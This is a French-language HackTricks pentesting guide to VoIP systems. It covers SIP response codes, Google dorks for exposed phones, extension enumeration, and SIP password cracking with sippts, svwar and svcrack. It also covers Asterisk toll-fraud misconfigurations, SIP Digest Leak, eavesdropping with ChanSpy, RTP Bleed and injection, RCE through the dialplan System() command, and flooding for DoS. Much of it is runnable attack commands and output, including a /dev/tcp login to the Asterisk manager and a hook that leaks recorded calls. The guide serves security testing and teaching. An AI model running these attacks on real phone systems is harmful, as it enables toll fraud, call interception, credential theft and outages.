Pentesting VoIP
Reading time: 28 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Informations de base sur VoIP
Pour commencer Ă apprendre comment fonctionne VoIP, consultez :
Messages de base
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
Codes de RĂ©ponse
1xxâRĂ©ponses Provisoires
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xxâRĂ©ponses rĂ©ussies
200 OK
202 Accepted
204 No Notification
3xxâRĂ©ponses de redirection
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xxâRĂ©ponses d'Ă©chec du client
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xxâRĂ©ponses d'Ă©chec du serveur
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xxâRĂ©ponses d'Ă©chec global
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
ĂnumĂ©ration VoIP
Numéros de téléphone
L'une des premiÚres étapes qu'une équipe rouge pourrait effectuer est de rechercher les numéros de téléphone disponibles pour contacter l'entreprise en utilisant des outils OSINT, des recherches Google ou en scrappant les pages web.
Une fois que vous avez les numéros de téléphone, vous pourriez utiliser des services en ligne pour identifier l'opérateur :
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
Savoir si l'opérateur fournit des services VoIP vous permettrait d'identifier si l'entreprise utilise VoIP... De plus, il est possible que l'entreprise n'ait pas engagé de services VoIP mais utilise des cartes PSTN pour connecter son propre PBX VoIP au réseau de téléphonie traditionnel.
Des éléments tels que des réponses automatisées de musique indiquent généralement que VoIP est utilisé.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
Informations OSINT
Toute autre énumération OSINT qui aide à identifier le logiciel VoIP utilisé sera utile pour une équipe rouge.
ĂnumĂ©ration du rĂ©seau
nmap
est capable de scanner les services UDP, mais en raison du nombre de services UDP scannĂ©s, il est trĂšs lent et peut ne pas ĂȘtre trĂšs prĂ©cis avec ce type de services.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap
de SIPVicious (sudo apt install sipvicious
): Localisera les services SIP dans le réseau indiqué.svmap
est facile Ă bloquer car il utilise l'User-Agentfriendly-scanner
, mais vous pourriez modifier le code de/usr/share/sipvicious/sipvicious
et le changer.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS scan
from sippts: Le scan SIPPTS est un scanner trÚs rapide pour les services SIP sur UDP, TCP ou TLS. Il utilise le multithreading et peut scanner de larges plages de réseaux. Il permet d'indiquer facilement une plage de ports, de scanner à la fois TCP et UDP, d'utiliser une autre méthode (par défaut, il utilisera OPTIONS) et de spécifier un User-Agent différent (et plus).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
ĂnumĂ©ration RĂ©seau SupplĂ©mentaire
Le PBX pourrait également exposer d'autres services réseau tels que :
- 69/UDP (TFTP) : Mises Ă jour du firmware
- 80 (HTTP) / 443 (HTTPS) : Pour gérer l'appareil depuis le web
- 389 (LDAP) : Alternative pour stocker les informations des utilisateurs
- 3306 (MySQL) : Base de données MySQL
- 5038 (Manager) : Permet d'utiliser Asterisk depuis d'autres plateformes
- 5222 (XMPP) : Messages utilisant Jabber
- Et d'autres...
ĂnumĂ©ration des MĂ©thodes
Il est possible de trouver quelles méthodes sont disponibles à utiliser dans le PBX en utilisant SIPPTS enumerate
de sippts
sippts enumerate -i 10.10.0.10
Analyser les réponses du serveur
Il est trĂšs important d'analyser les en-tĂȘtes qu'un serveur nous renvoie, en fonction du type de message et des en-tĂȘtes que nous envoyons. Avec SIPPTS send
de sippts, nous pouvons envoyer des messages personnalisĂ©s, en manipulant tous les en-tĂȘtes, et analyser la rĂ©ponse.
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
Il est également possible d'obtenir des données si le serveur utilise des websockets. Avec SIPPTS wssend
de sippts, nous pouvons envoyer des messages WS personnalisés.
sippts wssend -i 10.10.0.10 -r 443 -path /ws
ĂnumĂ©ration des extensions
Les extensions dans un systÚme PBX (Private Branch Exchange) font référence aux identifiants internes uniques attribués à chaque ligne téléphonique, appareil ou utilisateur au sein d'une organisation ou d'une entreprise. Les extensions permettent de diriger les appels au sein de l'organisation de maniÚre efficace, sans avoir besoin de numéros de téléphone externes individuels pour chaque utilisateur ou appareil.
svwar
de SIPVicious (sudo apt install sipvicious
):svwar
est un scanner de lignes d'extension PBX SIP gratuit. En concept, il fonctionne de maniÚre similaire aux wardialers traditionnels en devinant une plage d'extensions ou une liste donnée d'extensions.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS exten
from sippts: SIPPTS exten identifie les extensions sur un serveur SIP. Sipexten peut vérifier de grands réseaux et des plages de ports.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit : Vous pouvez également énumérer les extensions/noms d'utilisateur avec metasploit :
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX est un énumérateur de brute-force de nom d'utilisateur pour le protocole Inter Asterisk Exchange. enumIAX peut fonctionner en deux modes distincts : devinette séquentielle de nom d'utilisateur ou attaque par dictionnaire.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
Attaques VoIP
Brute-Force de Mot de Passe - en ligne
Ayant découvert le PBX et quelques extensions/noms d'utilisateur, une équipe rouge pourrait essayer de s'authentifier via la méthode REGISTER
Ă une extension en utilisant un dictionnaire de mots de passe courants pour forcer l'authentification.
caution
Notez qu'un nom d'utilisateur peut ĂȘtre le mĂȘme que l'extension, mais cette pratique peut varier en fonction du systĂšme PBX, de sa configuration et des prĂ©fĂ©rences de l'organisation...
Si le nom d'utilisateur n'est pas le mĂȘme que l'extension, vous devrez dĂ©couvrir le nom d'utilisateur Ă forcer.
svcrack
de SIPVicious (sudo apt install sipvicious
): SVCrack vous permet de craquer le mot de passe pour un nom d'utilisateur/extension spécifique sur un PBX.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrack
from sippts: SIPPTS rcrack est un cracker de mots de passe à distance pour les services SIP. Rcrack peut tester des mots de passe pour plusieurs utilisateurs sur différentes adresses IP et plages de ports.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
Sniffing VoIP
Si vous trouvez des Ă©quipements VoIP Ă l'intĂ©rieur d'un rĂ©seau Wifi ouvert, vous pourriez sniffer toutes les informations. De plus, si vous ĂȘtes dans un rĂ©seau plus fermĂ© (connectĂ© via Ethernet ou Wifi protĂ©gĂ©), vous pourriez effectuer des attaques MitM telles que ARPspoofing entre le PBX et la passerelle afin de sniffer les informations.
Parmi les informations rĂ©seau, vous pourriez trouver des identifiants web pour gĂ©rer l'Ă©quipement, des extensions d'utilisateur, des noms d'utilisateur, des adresses IP, mĂȘme des mots de passe hachĂ©s et des paquets RTP que vous pourriez reproduire pour entendre la conversation, et plus encore.
Pour obtenir ces informations, vous pourriez utiliser des outils tels que Wireshark, tcpdump... mais un outil spécialement créé pour sniffer les conversations VoIP est ucsniff.
caution
Notez que si TLS est utilisé dans la communication SIP, vous ne pourrez pas voir la communication SIP en clair.
Il en sera de mĂȘme si SRTP et ZRTP sont utilisĂ©s, les paquets RTP ne seront pas en texte clair.
Identifiants SIP (Brute-Force de mot de passe - hors ligne)
Consultez cet exemple pour mieux comprendre une communication SIP REGISTER afin d'apprendre comment les identifiants sont envoyés.
sipdump
&sipcrack
, faisant partie de sipcrack (apt-get install sipcrack
): Ces outils peuvent extraire d'un pcap les authentifications digestes au sein du protocole SIP et les bruteforcer.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dump
from sippts: Le dump SIPPTS peut extraire des authentifications digest Ă partir d'un fichier pcap.
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrack
from sippts: SIPPTS dcrack est un outil pour craquer les authentifications digest obtenues avec le dump SIPPTS.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tshark
de sippts: SIPPTS tshark extrait des données du protocole SIP à partir d'un fichier PCAP.
sippts tshark -f capture.pcap [-filter auth]
Codes DTMF
Non seulement les identifiants SIP peuvent ĂȘtre trouvĂ©s dans le trafic rĂ©seau, il est Ă©galement possible de trouver des codes DTMF qui sont utilisĂ©s par exemple pour accĂ©der Ă la messagerie vocale.
Il est possible d'envoyer ces codes dans des messages SIP INFO, dans l'audio ou à l'intérieur des paquets RTP. Si les codes sont à l'intérieur des paquets RTP, vous pourriez couper cette partie de la conversation et utiliser l'outil multimo pour les extraire :
multimon -a DTMF -t wac pin.wav
Appels gratuits / Mauvaises configurations des connexions Asterisk
Dans Asterisk, il est possible de permettre une connexion d'une adresse IP spécifique ou de n'importe quelle adresse IP :
host=10.10.10.10
host=dynamic
Si une adresse IP est spĂ©cifiĂ©e, l'hĂŽte n'aura pas besoin d'envoyer des requĂȘtes REGISTER de temps en temps (dans le paquet REGISTER, le temps de vie est envoyĂ©, gĂ©nĂ©ralement 30 minutes, ce qui signifie que dans d'autres scĂ©narios, le tĂ©lĂ©phone devra s'enregistrer toutes les 30 minutes). Cependant, il devra avoir des ports ouverts permettant des connexions du serveur VoIP pour recevoir des appels.
Pour dĂ©finir les utilisateurs, ils peuvent ĂȘtre dĂ©finis comme :
type=user
: L'utilisateur ne peut recevoir des appels qu'en tant qu'utilisateur.type=friend
: Il est possible de passer des appels en tant que pair et de les recevoir en tant qu'utilisateur (utilisé avec des extensions).type=peer
: Il est possible d'envoyer et de recevoir des appels en tant que pair (SIP-trunks).
Il est Ă©galement possible d'Ă©tablir une confiance avec la variable insecure :
insecure=port
: Permet des connexions entre pairs validées par IP.insecure=invite
: Ne nécessite pas d'authentification pour les messages INVITE.insecure=port,invite
: Les deux.
warning
Lorsque type=friend
est utilisé, la valeur de la variable host ne sera pas utilisée, donc si un administrateur malconfigure un SIP-trunk en utilisant cette valeur, n'importe qui pourra s'y connecter.
Par exemple, cette configuration serait vulnérable :
host=10.10.10.10
insecure=port,invite
type=friend
Appels gratuits / Mauvaises configurations de contexte Asterisk
Dans Asterisk, un contexte est un conteneur ou une section nommée dans le plan de numérotation qui regroupe des extensions, des actions et des rÚgles connexes. Le plan de numérotation est le composant central d'un systÚme Asterisk, car il définit comment les appels entrants et sortants sont gérés et routés. Les contextes sont utilisés pour organiser le plan de numérotation, gérer le contrÎle d'accÚs et fournir une séparation entre différentes parties du systÚme.
Chaque contexte est défini dans le fichier de configuration, généralement dans le fichier extensions.conf
. Les contextes sont notés par des crochets, avec le nom du contexte enfermé à l'intérieur. Par exemple :
csharpCopy code[my_context]
Dans le contexte, vous définissez des extensions (modÚles de numéros composés) et les associez à une série d'actions ou d'applications. Ces actions déterminent comment l'appel est traité. Par exemple :
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
Cet exemple démontre un contexte simple appelé "my_context" avec une extension "100". Lorsque quelqu'un compose le 100, l'appel sera répondu, un message de bienvenue sera joué, puis l'appel sera terminé.
Ceci est un autre contexte qui permet de composer n'importe quel autre numéro :
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
Si l'administrateur définit le contexte par défaut comme :
[default]
include => my_context
include => external
warning
Quiconque pourra utiliser le serveur pour appeler n'importe quel autre numéro (et l'administrateur du serveur paiera pour l'appel).
caution
De plus, par défaut, le fichier sip.conf
contient allowguest=true
, donc tout attaquant sans authentification pourra appeler n'importe quel autre numéro.
SIPPTS invite
de sippts: SIPPTS invite vérifie si un serveur PBX nous permet de passer des appels sans authentification. Si le serveur SIP a une configuration incorrecte, il nous permettra de passer des appels vers des numéros externes. Il peut également nous permettre de transférer l'appel vers un second numéro externe.
Par exemple, si votre serveur Asterisk a une mauvaise configuration de contexte, vous pouvez accepter une demande INVITE sans autorisation. Dans ce cas, un attaquant peut passer des appels sans connaĂźtre d'utilisateur/mot de passe.
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
Appels gratuits / IVRS mal configurés
IVRS signifie SystÚme de Réponse Vocale Interactive, une technologie de téléphonie qui permet aux utilisateurs d'interagir avec un systÚme informatisé par le biais d'entrées vocales ou de tonalités. IVRS est utilisé pour construire des systÚmes de gestion d'appels automatisés qui offrent une gamme de fonctionnalités, telles que la fourniture d'informations, le routage des appels et la capture des entrées des utilisateurs.
IVRS dans les systÚmes VoIP se compose généralement de :
- Invitations vocales : Messages audio préenregistrés qui guident les utilisateurs à travers les options et instructions du menu IVR.
- DTMF (Dual-Tone Multi-Frequency) signalisation : Entrées de tonalité générées en appuyant sur des touches du téléphone, qui sont utilisées pour naviguer dans les menus IVR et fournir des entrées.
- Routage des appels : Diriger les appels vers la destination appropriée, comme des départements spécifiques, des agents ou des extensions en fonction des entrées des utilisateurs.
- Capture des entrées utilisateur : Collecter des informations auprÚs des appelants, telles que des numéros de compte, des identifiants de cas ou toute autre donnée pertinente.
- Intégration avec des systÚmes externes : Connecter le systÚme IVR à des bases de données ou d'autres systÚmes logiciels pour accéder ou mettre à jour des informations, effectuer des actions ou déclencher des événements.
Dans un systÚme VoIP Asterisk, vous pouvez créer un IVR en utilisant le plan de numérotation (extensions.conf
fichier) et diverses applications telles que Background()
, Playback()
, Read()
, et plus encore. Ces applications vous aident à jouer des invitations vocales, capturer les entrées des utilisateurs et contrÎler le flux des appels.
Exemple de configuration vulnérable
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
L'exemple prĂ©cĂ©dent est un cas oĂč l'utilisateur est invitĂ© Ă appuyer sur 1 pour appeler un dĂ©partement, 2 pour appeler un autre, ou le numĂ©ro complet s'il le connaĂźt.
La vulnérabilité réside dans le fait que la longueur de l'extension indiquée n'est pas vérifiée, donc un utilisateur pourrait entrer le délai d'attente de 5 secondes d'un numéro complet et il sera appelé.
Injection d'extension
En utilisant une extension telle que :
exten => _X.,1,Dial(SIP/${EXTEN})
OĂč ${EXTEN}
est l'extension qui sera appelée, lorsque l'ext 101 est introduite, voici ce qui se passerait :
exten => 101,1,Dial(SIP/101)
Cependant, si ${EXTEN}
permet d'introduire plus que des chiffres (comme dans les anciennes versions d'Asterisk), un attaquant pourrait introduire 101&SIP123123123
pour appeler le numéro de téléphone 123123123. Et ce serait le résultat :
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
Par conséquent, un appel vers l'extension 101
et 123123123
sera envoyé et seul le premier à recevoir l'appel sera établi... mais si un attaquant utilise une extension qui contourne toute correspondance qui est effectuée mais n'existe pas, il pourrait injecter un appel uniquement vers le numéro souhaité.
Vulnérabilité SIPDigestLeak
La vulnérabilité SIP Digest Leak affecte un grand nombre de téléphones SIP, y compris les téléphones IP matériels et logiciels ainsi que les adaptateurs téléphoniques (VoIP vers analogique). La vulnérabilité permet la fuite de la réponse d'authentification Digest, qui est calculée à partir du mot de passe. Une attaque par mot de passe hors ligne est alors possible et peut récupérer la plupart des mots de passe basés sur la réponse au défi.
**Scénario de vulnérabilité à partir d'ici**:
- Un téléphone IP (victime) écoute sur n'importe quel port (par exemple : 5060), acceptant les appels téléphoniques
- L'attaquant envoie un INVITE au téléphone IP
- Le téléphone de la victime commence à sonner et quelqu'un décroche puis raccroche (car personne ne répond à l'autre bout)
- Lorsque le téléphone est raccroché, le téléphone de la victime envoie un BYE à l'attaquant
- L'attaquant émet une réponse 407 qui demande une authentification et émet un défi d'authentification
- Le téléphone de la victime fournit une réponse au défi d'authentification dans un second BYE
- L'attaquant peut alors lancer une attaque par force brute sur la réponse au défi sur sa machine locale (ou réseau distribué, etc.) et deviner le mot de passe
- Fuite SIPPTS de sippts: La fuite SIPPTS exploite la vulnĂ©rabilitĂ© SIP Digest Leak qui affecte un grand nombre de tĂ©lĂ©phones SIP. La sortie peut ĂȘtre enregistrĂ©e au format SipCrack pour ĂȘtre brute forcĂ©e en utilisant SIPPTS dcrack ou l'outil SipCrack.
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call permet Ă un utilisateur web (qui par exemple pourrait ĂȘtre intĂ©ressĂ© par un produit) de fournir son numĂ©ro de tĂ©lĂ©phone pour ĂȘtre appelĂ©. Ensuite, un commercial sera appelĂ©, et quand il rĂ©pond au tĂ©lĂ©phone, l'utilisateur sera appelĂ© et connectĂ© avec l'agent.
Un profil Asterisk courant pour cela est :
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- Le profil précédent permet à N'IMPORTE QUEL adresse IP de se connecter (si le mot de passe est connu).
- Pour organiser un appel, comme spécifié précédemment, aucune permission de lecture n'est nécessaire et seulement l'origine en écriture est requise.
Avec ces permissions, toute IP connaissant le mot de passe pourrait se connecter et extraire trop d'infos, comme :
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
Plus d'informations ou d'actions peuvent ĂȘtre demandĂ©es.
Ăcoute clandestine
Dans Asterisk, il est possible d'utiliser la commande ChanSpy
en indiquant les extensions Ă surveiller (ou toutes) pour entendre les conversations qui se dĂ©roulent. Cette commande doit ĂȘtre assignĂ©e Ă une extension.
Par exemple, exten => 333,1,ChanSpy('all',qb)
indique que si vous appelez l'extension 333, elle surveillera toutes
les extensions, commencera Ă Ă©couter chaque fois qu'une nouvelle conversation commence (b
) en mode silencieux (q
) car nous ne voulons pas interagir. Vous pouvez passer d'une conversation Ă une autre en appuyant sur *
, ou en marquant le numéro de l'extension.
Il est Ă©galement possible d'utiliser ExtenSpy
pour surveiller une seule extension.
Au lieu d'Ă©couter les conversations, il est possible de les enregistrer dans des fichiers en utilisant une extension telle que :
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
Les appels seront enregistrés dans /tmp
.
Vous pourriez mĂȘme faire en sorte qu'Asterisk exĂ©cute un script qui va leak l'appel lorsqu'il est fermĂ©.
exten => h,1,System(/tmp/leak_conv.sh &)
Vulnérabilité RTCPBleed
RTCPBleed est un problĂšme de sĂ©curitĂ© majeur affectant les serveurs VoIP basĂ©s sur Asterisk (publiĂ© en 2017). La vulnĂ©rabilitĂ© permet Ă RTP (Real Time Protocol) traffic, qui transporte les conversations VoIP, d'ĂȘtre interceptĂ© et redirigĂ© par quiconque sur Internet. Cela se produit parce que le trafic RTP contourne l'authentification lors de la navigation Ă travers les pare-feu NAT (Network Address Translation).
Les proxys RTP essaient de rĂ©soudre les limitations NAT affectant les systĂšmes RTC en proxyant les flux RTP entre deux parties ou plus. Lorsque le NAT est en place, le logiciel proxy RTP ne peut souvent pas se fier aux informations IP et port RTP rĂ©cupĂ©rĂ©es via le signalement (par exemple, SIP). Par consĂ©quent, un certain nombre de proxys RTP ont mis en Ćuvre un mĂ©canisme oĂč un tel tuplet IP et port est appris automatiquement. Cela se fait souvent en inspectant le trafic RTP entrant et en marquant l'IP et le port source pour tout trafic RTP entrant comme ceux qui devraient ĂȘtre rĂ©pondus. Ce mĂ©canisme, qui peut ĂȘtre appelĂ© "mode d'apprentissage", ne fait pas usage d'aucun type d'authentification. Par consĂ©quent, les attaquants peuvent envoyer du trafic RTP au proxy RTP et recevoir le trafic RTP proxyĂ© destinĂ© Ă l'appelant ou au destinataire d'un flux RTP en cours. Nous appelons cette vulnĂ©rabilitĂ© RTP Bleed car elle permet aux attaquants de recevoir des flux mĂ©dias RTP destinĂ©s Ă ĂȘtre envoyĂ©s Ă des utilisateurs lĂ©gitimes.
Un autre comportement intĂ©ressant des proxys RTP et des piles RTP est que parfois, mĂȘme s'ils ne sont pas vulnĂ©rables Ă RTP Bleed, ils acceptent, transmettent et/ou traitent des paquets RTP de n'importe quelle source. Par consĂ©quent, les attaquants peuvent envoyer des paquets RTP qui peuvent leur permettre d'injecter leurs mĂ©dias au lieu de ceux lĂ©gitimes. Nous appelons cette attaque injection RTP car elle permet l'injection de paquets RTP illĂ©gitimes dans des flux RTP existants. Cette vulnĂ©rabilitĂ© peut ĂȘtre trouvĂ©e Ă la fois dans les proxys RTP et les points de terminaison.
Asterisk et FreePBX ont traditionnellement utilisé le paramÚtre NAT=yes
, qui permet au trafic RTP de contourner l'authentification, ce qui peut entraĂźner l'absence de son ou un son unidirectionnel lors des appels.
Pour plus d'infos, consultez https://www.rtpbleed.com/
SIPPTS rtpbleed
de sippts: SIPPTS rtpbleed détecte la vulnérabilité RTP Bleed en envoyant des flux RTP.
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleed
de sippts: SIPPTS rtcpbleed détecte la vulnérabilité RTP Bleed en envoyant des flux RTCP.
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedflood
de sippts: SIPPTS rtpbleedflood exploite la vulnérabilité RTP Bleed en envoyant des flux RTP.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinject
from sippts: SIPPTS rtpbleedinject exploite la vulnérabilité RTP Bleed en injectant un fichier audio (format WAV).
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
Dans Asterisk, si vous parvenez à ajouter des rÚgles d'extension et à les recharger (par exemple en compromettant un serveur de gestion web vulnérable), il est possible d'obtenir un RCE en utilisant la commande System
.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
Il existe une commande appelée Shell
qui pourrait ĂȘtre utilisĂ©e au lieu de System
pour exécuter des commandes systÚme si nécessaire.
warning
Si le serveur interdit l'utilisation de certains caractĂšres dans la commande System
(comme dans Elastix), vérifiez si le serveur web permet de créer des fichiers d'une maniÚre ou d'une autre à l'intérieur du systÚme (comme dans Elastix ou trixbox), et utilisez-le pour créer un script de porte dérobée puis utilisez System
pour exécuter ce script.
Fichiers locaux intéressants et permissions
sip.conf
-> Contient le mot de passe des utilisateurs SIP.- Si le serveur Asterisk fonctionne en tant que root, vous pourriez compromettre root.
- L'utilisateur root mysql pourrait ne pas avoir de mot de passe.
- cela pourrait ĂȘtre utilisĂ© pour crĂ©er un nouvel utilisateur mysql comme porte dĂ©robĂ©e.
FreePBX
amportal.conf
-> Contient le mot de passe de l'administrateur du panneau web (FreePBX).FreePBX.conf
-> Contient le mot de passe de l'utilisateur FreePBXuser utilisĂ© pour accĂ©der Ă la base de donnĂ©es.- cela pourrait ĂȘtre utilisĂ© pour crĂ©er un nouvel utilisateur mysql comme porte dĂ©robĂ©e.
Elastix
Elastix.conf
-> Contient plusieurs mots de passe en texte clair comme le mot de passe root mysql, le mot de passe IMAPd, le mot de passe admin web.- Plusieurs dossiers appartiendront à l'utilisateur asterisk compromis (s'il ne fonctionne pas en tant que root). Cet utilisateur peut lire les fichiers précédents et contrÎle également la configuration, il pourrait donc faire en sorte qu'Asterisk charge d'autres binaires compromis lors de leur exécution.
Injection RTP
Il est possible d'insérer un .wav
dans les conversations en utilisant des outils tels que rtpinsertsound
(sudo apt install rtpinsertsound
) et rtpmixsound
(sudo apt install rtpmixsound
).
Ou vous pourriez utiliser les scripts de http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ pour scanner les conversations (rtpscan.pl
), envoyer un .wav
Ă une conversation (rtpsend.pl
) et insérer du bruit dans une conversation (rtpflood.pl
).
DoS
Il existe plusieurs façons d'essayer d'atteindre le DoS sur les serveurs VoIP.
SIPPTS flood
de sippts**: SIPPTS flood envoie des messages illimités à la cible.sippts flood -i 10.10.0.10 -m invite -v
SIPPTS ping
de sippts**: SIPPTS ping effectue un ping SIP pour voir le temps de réponse du serveur.sippts ping -i 10.10.0.10
- IAXFlooder: DoS du protocole IAX utilisé par Asterisk.
- inviteflood: Un outil pour effectuer un flooding de messages SIP/SDP INVITE sur UDP/IP.
- rtpflood: Envoie plusieurs paquets RTP bien formés. Il est nécessaire de connaßtre les ports RTP utilisés (sniffer d'abord).
- SIPp: Permet d'analyser et de gĂ©nĂ©rer du trafic SIP. Il peut donc Ă©galement ĂȘtre utilisĂ© pour le DoS.
- SIPsak: Couteau suisse SIP. Peut Ă©galement ĂȘtre utilisĂ© pour effectuer des attaques SIP.
- Fuzzers: protos-sip, voiper.
Vulnérabilités OS
